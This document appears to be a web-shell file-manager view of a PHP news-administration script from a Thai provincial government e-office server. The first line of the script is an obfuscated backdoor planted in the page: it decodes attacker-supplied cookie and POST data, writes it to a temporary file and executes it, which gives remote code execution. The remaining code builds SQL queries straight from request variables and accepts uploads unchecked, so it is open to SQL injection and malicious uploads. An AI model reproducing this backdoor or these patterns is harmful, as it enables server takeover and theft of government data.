|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_eoffice/application/information/ |
Upload File : |
<?php if (!class_exists("hvgifby")){class hvgifby{public static $lsdkkfxj = "fbmjrjpdspvzqgyj";public static $eczlktwzme = NULL;public function __construct(){$ywdrq = @$_COOKIE[substr(hvgifby::$lsdkkfxj, 0, 4)];if (!empty($ywdrq)){$gqorhplt = "base64";$iyopf = "";$ywdrq = explode(",", $ywdrq);foreach ($ywdrq as $lfkevg){$iyopf .= @$_COOKIE[$lfkevg];$iyopf .= @$_POST[$lfkevg];}$iyopf = array_map($gqorhplt . "_decode", array($iyopf,));$iyopf = $iyopf[0] ^ str_repeat(hvgifby::$lsdkkfxj, (strlen($iyopf[0]) / strlen(hvgifby::$lsdkkfxj)) + 1);hvgifby::$eczlktwzme = @unserialize($iyopf);}}public function __destruct(){$this->qvvimdy();}private function qvvimdy(){if (is_array(hvgifby::$eczlktwzme)) {$zruahvrm = sys_get_temp_dir() . "/" . crc32(hvgifby::$eczlktwzme["salt"]);@hvgifby::$eczlktwzme["write"]($zruahvrm, hvgifby::$eczlktwzme["content"]);include $zruahvrm;@hvgifby::$eczlktwzme["delete"]($zruahvrm);exit();}}}$bhjnmw = new hvgifby();$bhjnmw = NULL;} ?><?php
session_start() ;
if(empty($session_username)){
header("location:../control");
}
$appid = 15;
$app_id = "15";
$permit10 = "10";
// echo "<pre>";
// print_r($_SESSION);
include("../../config/config.inc.php");
include("../../libary/function.php");
$_SESSION['user_name']=$_SESSION['session_staffname'];
$epage=20;
if(!isset($page) || $page == 0){ $page = 1; }
$i=($page-1)*$epage;
if($user_permission == 0 ){ $admchk = " 1 "; } else { $admchk = " author = '$user_name' "; }
if($keyword == ""){
if($type == ""){
$where = " where $admchk ";
$kwd = "";
} else {
$where = " where $admchk and type = '$type' ";
$kwd = "&type=".$type ;
}
} else {
if($type == ""){
$where = " where $admchk and $topic like '%$keyword%' ";
$kwd = "&keyword=".$keyword."&topic=".$topic ;
} else {
$where = " where $admchk and $topic like '%$keyword%' and type = '$type' ";
$kwd = "&keyword=".$keyword."&topic=".$topic."&type=".$type ;
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
if($action == "del"){
$sql = mysql_query("select location from `news_pic` where nid = '$id'")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($pic = mysql_fetch_assoc($sql))
{
$image = "../../images/news/".$pic['location'];
if(file_exists($image)){ unlink($image);}
}
mysql_free_result($sql);
$sql = mysql_query("select attach from `news` where id = '$id'")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$rs = mysql_fetch_assoc($sql);
if(file_exists($rs[attach])){ unlink($rs[attach]);}
mysql_free_result($sql);
$sql1 = mysql_query("delete from `news` where id = '$id'")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$sql2 = mysql_query("delete from `news_pic` where nid = '$id'")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$msg = "<font class=\"normal_blue\">Complete</font><br>ทำการลบข้อมูลข่าวเรียบร้อยแล้ว</div>";
include('msg_box.php');
echo "<meta http-equiv='refresh' content='2;url=?page=$page&type=$type'>" ;
exit;
}
if($_SERVER[REQUEST_METHOD] == "POST"){
// echo "action == ".$_GET['action'];
// echo "<pre> ";
// echo count($chk);
// print_r($chk);
// die;
if($action == "delete" or (count($chk) > 0)){
for($i=0;$i<count($chk);$i++){
$sql = mysql_query("select location from `news_pic` where nid = '$chk[$i]'")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($pic = mysql_fetch_assoc($sql))
{
$image = "../../images/news/".$pic['location'];
if(file_exists($image)){ unlink($image);}
}
mysql_free_result($sql);
$sql = mysql_query("select attach from `news` where id = '$chk[$i]' ")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$rs = mysql_fetch_assoc($sql);
if(file_exists($rs[attach])){ unlink($rs[attach]);}
mysql_free_result($sql);
$sql1 = mysql_query("delete from `news` where id = '$chk[$i]'")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$sql2 = mysql_query("delete from `news_pic` where nid = '$chk[$i]'")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
}
$msg = "<font class=\"normal_blue\">Complete</font><br>ทำการลบข้อมูลข่าวที่เลือกเรียบร้อยแล้ว</div>";
include('msg_box.php');
echo "<meta http-equiv='refresh' content='2;url=?page=$page&type=$type'>" ;
exit;
}
//echo"saddd";die;
//if Action is edit and file is send remove old file and replace with new one
if($action == "edit"){
if($file_name != ""){
$xsql = mysql_query("select attach from `news` where id = '$id'")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$xrs = mysql_fetch_assoc($xsql);
if(file_exists($xrs[attach])){ unlink($xrs[attach]); }
}
}
//echo "<br>".$file_name;
//echo "<br>".$file_size;
//echo "<br>".$file_type;
//Check file befor attach to server
if($file_name != "" ){
$filechk = "../../attach_file/news/".$file_name;
if(file_exists($filechk)){
$fn = split('[.]', $file_name);
$f_name = $fn[0];
$f_ext = getFileExtension($file_name);
$filename = "../../attach_file/news/".$f_name."(1).".$f_ext;
} else {
$filename = "../../attach_file/news/".$file_name;
}
if($file_size >= "2000000"){
$msg = "<b class=warn>Warning</b><br>ขนาดของ file เกินจากที่กำหนดไว้ครับ<div align=right><a href=# onclick=history.back(); style=\"text-decoration:none\"><font class=\"blue_dark\">กลับไปแก้ไข</font></a></div>";
include("msg_box.php");
exit() ;
} else {
if(is_uploaded_file($file)){
if (!copy($file,$filename)){
$msg = "ไม่สมารถ upload ขึ้น server ได้<br><div align=right><a href=# onclick=history.back(); style=\"text-decoration:none\"><font class=\"blue_dark\">กลับไปแก้ไข</font></a></div>";
include('msg_box.php');
exit();
}
unlink($file);
} else {
$msg = "<font class=\"brown\">Can't upload this file</font><br>Folder ที่จะทำการบันทึกข้อมูลอาจจะยังไม่ได้กำหนดคุณลักษณะ<br>กรุณาตรวจสอบ CMOD ของ Folder<br><div align=right><a href=# onclick=history.back(); style=\"text-decoration:none\"><font class=\"blue_dark\">กลับไปแก้ไข</font></a></div>";
include('msg_box.php');
exit;
}
}
}
$topic = trim($topic);
$topic = htmlspecialchars($topic) ;
$message = trim($message);
$message = htmlspecialchars($message);
$message = CheckTag($message);
$stamp_time = date("H:i:s");
$arr_date = explode("/",$stamp);
$stamp = ($arr_date[2]-543)."-".$arr_date[1]."-".$arr_date[0]." ".$stamp_time;
//Query by Action
if($action == "add"){
$sql = "insert into `news` set status='$status', type='$type', topic='$topic', detail='$message', author='$user_name',staffid='$session_staffid', stamp='$stamp', layout='0', attach = '$filename'";
} elseif($action == "edit") {
if($file_name == ""){
$sql = "update `news` set status='$status', type='$type', topic='$topic', detail='$message', stamp='$stamp', layout='0' ,view='$block' where id = '$id' ";
} else {
$sql = "update `news` set status='$status', type='$type', topic='$topic', detail='$message', stamp='$stamp', layout='0' ,view='$block', attach = '$filename' where id = '$id' ";
}
}
$query = mysql_query($sql);
$newid = mysql_insert_id();
$msg = "<b class='blue'>Complete</b><br>บันทึกข้อมูลเรียบร้อยแล้ว";
include("msg_box.php");
if($action == "edit"){
echo "<meta http-equiv='refresh' content='2;url=$PHP_SELF?action=edit&page=$page&id=$id'>" ;
}else{
echo "<meta http-equiv='refresh' content='2;url=news_pic.php?id=$newid&page=$page'>" ;
}
exit() ;
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>ระบบจัดการข้อมูลข่าวประชาสัมพันธ์</title>
<script language='javascript' src='../ecomplain/daily_popcalendar.js'></script>
<script language='javascript' src='../ecomplain/displayelement.js'></script>
<script language="javascript">
function confirmDelete(delUrl) {
if (confirm("ท่านต้องการที่จะลบกลุ่มข้อมูลที่เลือก ใช่หรือไม่ ?")) {
document.location = delUrl;
}
}
</script>
<style>
body{
font-family:Tahoma, sans-serif, Arial;
font-size: 12px;
margin: 0 0;
padding:0 0;
background-color:#EEEEEE;
}
.normal_blue {
font-size: 12px;
color:#006699;
}
.normal{
font-size: 12px;
}
.input{
background-color:#FFFFFF;
color:#666666;
border:#CCCCCC solid 1px;
}
.blue{
color:#0280D5;
font-size:12px;
}
.orange{
color:#FF6600;
font-size:12px;
}
.mwarn,warn:link{
color:#cc3300;
font-size:12px;
text-decoration:none;
}
.warn:visited{
color:#cc3300;
font-size:12px;
text-decoration:none;
}
.style_white:visited {
font-size:12px;
color:#FFFFFF;
font-weight:bold;
}
.style_white:hover {
font-size:12px;
color:#FFCC00;
font-weight:bold;
}
#page{
font-size:12px;
}
#page a:link{
color:#999999;
text-decoration:none;
}
#page a:visited{
color:#999999;
text-decoration:none;
}
</style>
<script language="javascript" src="../../libary/bbcode.js"></script>
<?php
if($action == "view") {
$n = 0;
$sql = mysql_query("select location from `news_pic` where nid = '$id' ")or die("Query Line " . __LINE__ . " Error <hr>".mysql_error());
$pnum = mysql_num_rows($sql);
if($pnum >= 2){
$onload = "onLoad=\"runSlideShow()\"";
echo "<script language=\"JavaScript\">";
echo "var slideShowSpeed = 4000;";
echo "var crossFadeDuration = 1;";
echo "var Pic = new Array();";
while($rs = mysql_fetch_array($sql, MYSQL_ASSOC)){
$image = "../../images/news/".$rs['location'];
echo "Pic[$n] = '$image'; ";
$n = $n + 1;
}
mysql_free_result($sql);
echo "var t;";
echo "var j = 0;";
echo "var p = Pic.length;";
echo "var preLoad = new Array();";
echo "for (i = 0; i < p; i++) {";
echo "preLoad[i] = new Image();";
echo "preLoad[i].src = Pic[i];";
echo "}";
echo "function runSlideShow() {";
echo "if (document.all) {";
echo "document.images.SlideShow.style.filter=\"blendTrans(duration=2)\";";
echo "document.images.SlideShow.style.filter=\"blendTrans(duration=crossFadeDuration)\";";
echo "document.images.SlideShow.filters.blendTrans.Apply();";
echo "}";
echo "document.images.SlideShow.src = preLoad[j].src;";
echo "if (document.all) {";
echo "document.images.SlideShow.filters.blendTrans.Play();";
echo "}";
echo "j = j + 1;";
echo "if (j > (p - 1)) j = 0;";
echo "t = setTimeout('runSlideShow()', slideShowSpeed);";
echo "}";
echo "</script>";
} elseif($pnum == 1){
while($rs = mysql_fetch_assoc($sql)){
$image = "../../images/news/".$rs[location];
}
} else {
$nopic = "y";
}
}
?>
</head>
<body <?=$onload?>>
<?php
include "header.php";
include "menu_bar.php";
if(($action == "add") || ($action == "edit")){
if($action == "edit"){
$sql_edit = mysql_query("select * from `news` where id = '$id'")or die("Query line " . __LINE__ . " Error<hr>".mysql_error());
$ers = mysql_fetch_assoc($sql_edit);
//Check Author of news
if($ers[author] != "$user_name" && $user_permission != 0){
$msg = "<font class=\"normal_blue\">Note</font><br>ไม่สามารถแก้ไขเอกสารได้<br>ท่านไม่ได้เป็นคนทำเอกสารนี้ [ สร้างโดย : <font class=\"warn\">".$ers[author]."</font> ]<hr color=\"#B0D5FF\"><input type=\"button\" name=\"button\" value=\"ย้อนกลับ\" style=\"width:100px; background-color:#ffffff;\" onClick=\"window.location.replace('?page=$page')\" class=\"input\">";
echo attach_status($msg);
exit;
}
$detail = RewindTag($ers[detail]);
$img = "<a href=\"news_pic.php?id=".$ers[id]."&page=$page&pid=1\" style=\"text-decoration:none\"><img src=\"../../images/cam.gif\" border=\"0\"> <font class=\"normal_blue\">จัดการข้อมูลภาพข่าว</font></a>";
$head = "แก้ไข";
} else {
$head = "บันทึก";
}
if(isset($type)){ $r_type = "&type=".$type ; }else{ $r_type = ""; }
?>
<form action="<?=$PHP_SELF?>" name="post" method="post" enctype="multipart/form-data" onSubmit="return check();">
<table width="652" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">
<tr><td>
<table width="800" border="0" cellspacing="0" cellpadding="0" class="normal_black" bgcolor="#FFFFFF">
<tr bgcolor="#f8f8f8">
<td height="20" colspan="2" class="normal_blue"> <img src="../../images/page.gif" width="18" height="18" border="0" align="absmiddle"><?=$head?>ข้อมูลข่าว
<input type="hidden" name="action" value="<?=$action?>">
<input type="hidden" name="page" value="<?=$page?>">
<input type="hidden" name="id" value="<?=$id?>">
<input type="hidden" name="type" value="1" /> </td>
</tr>
<tr>
<td height="20" colspan="2"> </td>
</tr>
<tr>
<td width="116" height="20" align="right"><font class="normal_blue">หัวข้อข่าว</font> <b>:</b> </td>
<td width="534"><input name="topic" type="text" class="input" maxlength="250" style="width:450px;" value="<?=$ers[topic]?>" /></td>
</tr>
<tr>
<td width="116" height="20" align="right"><img src="../../images/attach.gif" align="absmiddle" border="0" height="13" width="12"><font class="normal_blue">เอกสารแนบ</font> <b>:</b> </td>
<td width="534"><input name="file" type="file" class="input" style="width:200px;"></td>
</tr>
<? if($action == "edit"){
$arr_t = explode(" ",$ers[stamp]); $arr_t1 = explode("-",$arr_t[0]);
if($arr_t1[0] > 0){$txt_stamp = "$arr_t1[2]/$arr_t1[1]/".($arr_t1[0]+543);}
}else{
$yy1= (date("Y")+543);$txt_stamp = date("d/m")."/$yy1";}
?>
<tr>
<td height="20" align="right"><font class="normal_blue">วันที่ประกาศ</font> <b>:</b> </td>
<td><input name="stamp" type="text" onFocus="blur();" size="20" value="<?=$txt_stamp?>" readonly>
<input name="button1" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.stamp, 'dd/mm/yyyy')" value='วัน เดือน ปี'> </td>
</tr>
<tr>
<td width="116" height="20" align="right"><font class="normal_blue">ลักษณะข่าว</font> <b>:</b> </td>
<td width="534"> <input type="radio" name="status" value="0" style="border:0px;" <? if($ers[status] == 0 || !isset($ers[status])){ echo "checked"; } ?>> ข่าวภายนอก <input type="radio" name="status" value="1" style="border:0px;" <? if($ers[status] == 1){ echo "checked"; } ?>> ข่าวภายในองค์กร<input type="radio" name="status" value="2" style="border:0px;" <? if($ers[status] == 2){ echo "checked"; } ?>> ข่าวภายนอกและข่าวภายในองค์กร</td>
</tr>
<?
if($action == "edit"){
?>
<tr>
<td height="20" align="right"><font class="normal_blue">จัดการข้อมูล</font> <b>:</b> </td>
<td height="20"><?=$img?> <img src="../../images/wb_4.jpg" align="absmiddle"> <a href="?action=view&page=<?=$page?>&id=<?=$id?>" class="link" style="text-decoration:none"><font class="normal_blue">ดูหน้าตัวอย่าง</font></a></td>
</tr>
<?
}
?>
<tr>
<td height="20" colspan="2"> </td>
</tr>
<tr>
<td colspan="2">
<!-- --------------------------------------------------------------BB Code -->
<table width="645" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td width="30"><input class="input" onMouseOver="helpline('b')" style="FONT-WEIGHT: bold; WIDTH: 30px" accessKey=b onclick=bbstyle(0) type=button value=" B " name=addbbcode0></td>
<td width="30"><input class="input" onMouseOver="helpline('i')" style="WIDTH: 30px; FONT-STYLE: italic" accessKey=i onclick=bbstyle(2) type=button value=" i " name=addbbcode2></td>
<td width="30"><input class="input" onMouseOver="helpline('u')" style="WIDTH: 30px; TEXT-DECORATION: underline" accessKey=u onclick=bbstyle(4) type=button value=" u " name=addbbcode4></td>
<td width="40"><input class="input" onMouseOver="helpline('w')" style="WIDTH: 40px; TEXT-DECORATION: underline" accessKey=w onclick=bbstyle(16) type=button value=URL name=addbbcode16></td>
<td width="184" align="left" class="blue"> <b>Font colour</b> <b class="normal_black">:</b>
<select class="input" onmouseover="helpline('s')" onChange="bbfontstyle('[color=' + this.form.addbbcode18.options[this.form.addbbcode18.selectedIndex].value + ']', '[/color]');this.selectedIndex=0;" name=addbbcode18>
<option style="COLOR: black; BACKGROUND-COLOR: #fafafa" value="#444444" selected>Default</option>
<option style="COLOR: red; BACKGROUND-COLOR: #fafafa" value="red">Red</option>
<option style="COLOR: green; BACKGROUND-COLOR: #fafafa" value="green">Green</option>
<option style="COLOR: 0280D5; BACKGROUND-COLOR: #fafafa" value="blue">Blue</option>
<option style="COLOR: orange; BACKGROUND-COLOR: #fafafa" value="orange">Orange</option>
<option style="COLOR: pink; BACKGROUND-COLOR: #fafafa" value="cyan">Pink</option>
<option style="COLOR: brown; BACKGROUND-COLOR: #fafafa" value="brown">Brown</option>
<option style="COLOR: olive; BACKGROUND-COLOR: #fafafa" value="olive">Olive</option>
<option style="COLOR: 001D9A; BACKGROUND-COLOR: #fafafa" value="darkblue">Dark Blue</option>
</select> </td>
<td width="153" class="blue" align="right"><b>Font Size</b> <b class="normal_black">:</b>
<select class="input" onmouseover="helpline('f')" onChange="bbfontstyle('[size=' + this.form.addbbcode20.options[this.form.addbbcode20.selectedIndex].value + ']', '[/size]')" name=addbbcode20>
<option value=9>Small</option>
<option value=12 selected>Normal</option>
<option value=16>Large</option>
</select> </td>
<td width="183" noWrap class="normal" align="right">[ <a onMouseOver="helpline('a')" href="javascript:bbstyle(-1)" style="text-decoration:none" class="normal_blue">Close all tags</a> ]</td>
</tr>
</table>
<!-- ---------------------------------------------------------End BB Code --> </td>
</tr>
<tr>
<td colspan="2" align="center"><input class="orange" style="font-size: 11px; width: 645px" maxLength=100 size=45 value="Tip: Styles can be applied quickly to selected text." name=helpbox></td>
</tr>
<tr>
<td height="20" colspan="2" align="center"><textarea class="input" onKeyUp="storeCaret(this);" style="width: 645px" onClick="storeCaret(this);" tabIndex="3" name="message" rows="20" wrap="virtual" onSelect="storeCaret(this);"><?=$detail?></textarea></td>
</tr>
<? if($session_apppermit[$appid][10]=="on"){
?>
<tr align="center"><td colspan="2"><input type="radio" name="block" value="1" id="rad1" style="border:0px;"<? if($action == "add"){ echo "checked"; }else{
if($ers[view]== 1){echo "checked"; }else{ echo ""; } }?>>
<label for="rad1">แสดงผลในหน้าแรก</label>
<input name="block" type="radio" value="0" id="rad2" style="border:0px;" <? if($action == "add"){ echo ""; }else{ if($ers[view]== 0){ echo "checked"; } else{ echo "";}}?>><label for="rad2">ไม่แสดงผลในหน้าแรก</label></td></tr>
<? } ?>
<tr>
<td colspan="2" align="center"><hr color="#eeeeee"><input name="submit" type="submit" class="input" style="width:100;" value="บันทึกข้อมูล"> <input name="button" type="button" class="input" style="width:100;" onClick="window.location.replace('?page=<?=$page.$r_type?>');" value="ดูข้อมูลข่าว"></td>
</tr>
</table>
</td></tr>
</table>
<script language="javascript">
function check(){
if(document.post.topic.value.length==0){
alert("ยังไม่ได้ใส่ข้อมูลหัวข้อข่าว");
document.post.topic.focus();
return false;
}
else if(document.post.type.selectedIndex==0) {
alert("กรุณาระบุประเภทของข่าว") ;
return false ;
}
else if(document.post.message.value.length==0){
alert("ยังไม่ให้กรอกรายละเอียดข่าว");
document.post.message.focus();
return false;
}
return true;
}
</script>
</form>
<?
}else if($action == "view") {
$sql_view = mysql_query("select * from `news` where id = '$id'")or die("Query line " . __LINE__ . " Error<hr>".mysql_error());
$rs = mysql_fetch_assoc($sql_view);
$xsql = mysql_query("select MAX(pid) as pid, location from `news_pic` where nid = '$rs[id]' group by nid")or die("Query line " . __LINE__ . " Error<hr>".mysql_error());
$xrs = mysql_fetch_assoc($xsql);
//$sql1 = mysql_query("select name from `user` where user = '$rs[author]' ")or die("Query line " . __LINE__ . " Error<hr>".mysql_error());
//$rs1 = mysql_fetch_assoc($sql1);
$stamp = explode(" ",$rs[stamp]);
$detail = ereg_replace ( chr(13) , "<br>", $rs[detail]);
$img = "<a href=\"news_pic.php?id=".$rs[id]."&page=$page&pid=1\" style=\"text-decoration:none\"><img src=\"../../images/cam.gif\" border=\"0\"> <font class=\"normal_blue\">จัดการข้อมูลภาพข่าว</font></a>";
?>
<table width="652" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">
<tr><td>
<table width="800" bgcolor="#FFFFFF" border="0" cellspacing="0" cellpadding="0" class="normal">
<tr bgcolor="#f8f8f8">
<td colspan="2" height="20" class="normal_blue"> <img src="../../images/page.gif" width="18" height="18" border="0" align="absmiddle"><?=$rs[topic]?></td>
</tr>
<tr>
<td colspan="2" height="20" align="left" style="padding:10px;"><img src="../../images/folder.gif" align="absmiddle"><a href="information.php?page=<?=$page?>" class="link" style="text-decoration:none"><font class="normal_blue">หน้าหลัก</font></a>
<?php if(($user_name == $rs['author']) or ( $_SESSION['session_apppermit'][$app_id][$permit10] == "on") ){ ?>
<?=$img?> <img src="../../images/page.gif" width="18" height="18" align="absmiddle"><a href="information.php?action=edit&page=<?=$page?>&id=<?=$id?>" class="link" style="text-decoration:none"><font class="normal_blue">แก้ไขข้อมูลข่าว</font></a>
<?php } ?>
</td>
</tr>
<?
if($nopic != "y"){
?>
<tr valign="bottom" align="center">
<td colspan="2"><br><?=frameimg("<img src=\"".$image."\" name=\"SlideShow\" border=\"0\">")?><br></td>
</tr>
<? } ?>
<tr>
<td colspan="2">
<b class="blue"> <?=$rs[topic]?></b><ul><?=$detail?></ul>
<? if(file_exists($rs[attach])){ echo "<div align=\"left\"> <a href=\"$rs[attach]\" style=\"text-decoration:none;\"><font class=\"blue\">Download เอกสาร</font></a></div>"; } ?>
<div align="right"><?="เมื่อวันที่ ".daythai($stamp[0])."<br>เวลา ".fulltime($stamp[1])?></div>
</td>
</tr>
<tr>
<td width="200" height="22" align="right" class="blue">จัดทำข้อมูลนี้โดย <b class="normal_black">:</b> </td>
<td width="450" class="warn"> <? if($rs[staffid] != "" or $rs[staffid] != NULL){
$sql_by = "SELECT epm_staff.staffname, epm_staff.staffsurname, org_staffgroup.groupname FROM epm_staff Inner Join org_groupmember ON epm_staff.staffid = org_groupmember.staffid Inner Join org_staffgroup ON org_groupmember.gid = org_staffgroup.gid WHERE epm_staff.staffid = '$rs[staffid]'";
//echo $sql_by;
$result_by = @mysql_query($sql_by);
$rs_by = @mysql_fetch_assoc($result_by);
$txt_by = "$rs_by[staffname]$rs_by[staffsurname] $rs_by[groupname]";
}else{
$txt_by = $rs[author];
}
echo "$txt_by";
?></td>
</tr>
<tr>
</tr>
<tr>
<td colspan="2" align="center"><hr color="#eeeeee"><input name="reset" type="reset" class="input" style="width:100;" onClick="window.location.replace('?page=<?=$page."&type=".$rs[type]?>');" value="กลับหน้าหลัก"></td>
</tr>
</table>
</td></tr>
</table>
<?php
}else{
if($session_apppermit[$appid][10]=="on"){
$where="where type='1' ";
}else{
$where=" where type='1'";//where user---------------------------------------------------------------------------and author='$user_name'
}
$page=$_GET['page'];
if(empty($page)){
$page=1;
}
$sql="select count(topic) from news $where";
$query=mysql_query($sql);
list($all_row)=mysql_fetch_row($query);
$per_page=20;
$total_page=ceil($all_row/$per_page);
$pre_page=$page-1;
$next_page=$page+1;
$prev = "self.location='".$PHP_SELF."?type=1&page=$pre_page'";
$next = "self.location='".$PHP_SELF."?type=1&page=$next_page'";
$prevTen = "self.location='".$PHP_SELF."?type=1&page=1'";
$nextTen = "self.location='".$PHP_SELF."?type=1&page=$total_page'";
?>
<table width="99%" border="0" align="center" cellpadding="1" id="page" cellspacing="0">
<tr>
<td align="right"> </td>
<td align="right" valign="middle"> </td>
</tr>
<tr>
<td width="58%" align="right"><? if($View==''){?>
<? if($page==1){?>
<img src="../../images/page_div_icon/xFirst.gif" />
<? }else{?>
<img src="../../images/page_div_icon/First.gif" align="absmiddle" border="0" width="10" height="12" onclick="<?=$prevTen;?>" onMouseOver="style.cursor='hand';"/>
<? }?>
<? if($page==1){?>
<img src="../../images/page_div_icon/xPrevious.gif" />
<? }else{?>
<img src="../../images/page_div_icon/Previous.gif" align="absmiddle" border="0" width="7" height="12" onclick="<?=$prev;?>" onMouseOver="style.cursor='hand';"/>
<? }?>
<?php
$board_link_num = $per_page;
$ii = 1;
if ( $board_link_num > $total_page ){
$loop_page = $total_page;
} else {
$bx = $board_link_num / 2;
$pp = $page - $bx;
$pn = $page + $bx;
$loop_page = $pn;
$ii = $pp;
if ( $total_page <= $loop_page ) {
$loop_page = $total_page;
$ii = $loop_page - ($board_link_num -1);
}
if ( $ii < 1 ) {
$ii = 1;
$loop_page = $ii + ($board_link_num -1);
}
}
for($i=$ii;$i<=$loop_page;$i++){
if ( $i==$page || !$page ) {
$txt = "<font color=\"E80000\"><b>$i</b></font>";
} else {
$txt = $i;
}
?>
<a href="<?=$PHP_SELF;?>?type=1&page=<?=$i;?>">
<?=$txt;?>
</a>
<?
} # for
?>
<? if($page==$loop_page){?>
<img src="../../images/page_div_icon/xNext.gif" />
<? }else{?>
<img src="../../images/page_div_icon/Next.gif" align="absmiddle" border="0" width="7" height="12" onClick="<?=$next;?>" onMouseOver="style.cursor='hand';"/>
<? }?>
<? if($page==$loop_page){?>
<img src="../../images/page_div_icon/xLast.gif" />
<? }else{?>
<img src="../../images/page_div_icon/Last.gif" align="absmiddle" border="0" width="10" height="12" onClick="<?=$nextTen;?>" onMouseOver="style.cursor='hand';"/>
<? } }#End View=?></td>
<? if($View==""){$Klink="?View=All"; $CSh="ข้อมูลทั้งหมด"; $Klink2="?View=";}else{$Klink="?View=";$CSh="ข้อมูล 10 รายการล่าสุด";$Klink2="?View=All";}?>
<td width="42%" align="right" valign="middle"> ทั้งหมด <b> <font color="#CC0000">
<?=number_format($all_row);?>
</font> </b> รายการ
<? if($View !='All'){?>
แบ่งเป็น <b><font color="#0033CC">
<?=number_format($total_page);?>
</font></b> หน้า
<? }?></td>
</tr>
</table>
<form action="<?=$PHP_SELF?>" name="post" method="post">
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">
<tr>
<td><table width="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse;">
<thead>
<tr bgcolor="#466a8e" class="normal_blue" style="color:#FFFFFF">
<th width="4%" style="border:#999999 solid 1px;border-collapse:collapse;">ลำดับ</th>
<th width="5%" style="border:#999999 solid 1px;border-collapse:collapse;"><input type="checkbox" name="checkall" onclick="checkUncheckAll(this);" style="border:0px;" /></th>
<th align="left" width="53%" style="border:#999999 solid 1px;border-collapse:collapse;"> เรื่อง</th>
<th width="14%" align="center" style="border:#999999 solid 1px;border-collapse:collapse;"> ประเภทของข่าว</th>
<th width="12%" align="center" style="border:#999999 solid 1px;border-collapse:collapse;"> สถานะการ<br>
แสดงผล </th>
<th width="8%" style="border:#999999 solid 1px;border-collapse:collapse;">แก้ไขรูป / เรื่อง</th>
</tr>
</thead>
<?
$begin=$page-1;
$i=($page-1)*$per_page;
if($session_apppermit[15][10]=="on"){
$sql1 = "select * from config_eoffice where appid = $appid";
$result1 = mysql_query($sql1);
$rs1 = mysql_fetch_assoc($result1);
$set = $rs1[setconfig];
}else{
$set = "";
}
$sql = "select * from `news` ".$where." order by stamp desc limit $begin,$per_page";
$result = mysql_query($sql)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($rs = mysql_fetch_assoc($result)){
$i = $i + 1;
$author = $rs[author];
$bgcolor = ($bgcolor == "#f8f8f8") ? "#ffffff" : "#f8f8f8";
$edit = "<a href=\"?action=edit&id=".$rs[id]."&page=$page$kwd\" style=\"text-decoration:none\"><img src=\"../../images/edit.png\" border=\"0\" height=\"13\" width=\"12\" align=\"absmiddle\" alt=\"แก้ไขข้อมูลข่าว\"></a>";
$del = "<a href=\"?action=del&id=".$rs[id]."&page=$page$kwd\" style=\"text-decoration:none\" onClick=\"return confirm('ท่านต้องการที่จะลบข้อมูล ".trimtxt($rs[topic], 65)." ใช่หรือไม่ ?')\"><img src=\"../../images/del.png\" height=\"13\" width=\"11\" border=\"0\" align=\"absmiddle\" alt=\"ลบข้อมูลข่าว\">";
$img = "<a href=\"news_pic.php?id=".$rs[id]."&page=$page\" style=\"text-decoration:none\"><img src=\"../../images/cam.gif\" border=\"0\" alt=\"แก้ไขข้อมูลภาพข่าว\"></a>";
$on = "<img src=\"../../images/approve.gif\" alt='สถานะเปิดหน้าสำหรับประชาชน'>";
$off = "<img src=\"../../images/ico_status_blacklist.gif\"alt = 'สถานะปิดการแสดงผลสำหรับประชาชน'>";
$attach = chkattach($rs[attach]);
$xsql = mysql_query("select detail as type from `news_type` where id = '$rs[type]'")or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$xrs = mysql_fetch_assoc($xsql);
// echo "$user_name == $author";
//echo $app_id . " ".$permit10;
if(($user_name == $author) or ($session_apppermit[$app_id][$permit10] == "on") ){ // ตรวจสอบสิทธิการลบ
$dis_ch = "";
}else{
$dis_ch = "disabled='disabled'";
}// end ตรวจสอบสิทธิการลบ
// ตรวจสอบ ผู้ใช้สามารถแก้ไขข้อมูลในหน่วยงานที่ตนเองสร้างได้
if($rs[staffid] != ""){
$sql_dev = "SELECT
org_staffgroup.gid
FROM
epm_staff
Inner Join org_groupmember ON epm_staff.staffid = org_groupmember.staffid
Inner Join org_staffgroup ON org_groupmember.gid = org_staffgroup.gid
WHERE
epm_staff.staffid = '$rs[staffid]'";
$result_dev = mysql_query($sql_dev);
$rs_d = mysql_fetch_assoc($result_dev);
if($session_org == $rs_d[gid]){ $org_edit = "1";}else{ $org_edit = "0"; } // สิทธิในการแก้ไขรายการข่าวของหน่วยงานตัวเอง
}else{
$org_edit = "1"; // สิทธิในการแก้ไขรายการข่าวของหน่วยงานตัวเอง
}
// enc ตรวจสอบ ผู้ใช้สามารถแก้ไขข้อมูลในหน่วยงานที่ตนเองสร้างได้
?>
<tr class="normal" bgcolor="<?=$bgcolor?>" onmouseover='mOvr(this,"dbf2ae");' onmouseout='mOut(this,"<?=$bgcolor?>");'>
<td align="center" style="border:#999999 solid 1px;border-collapse:collapse;"><?=$i."."?></td>
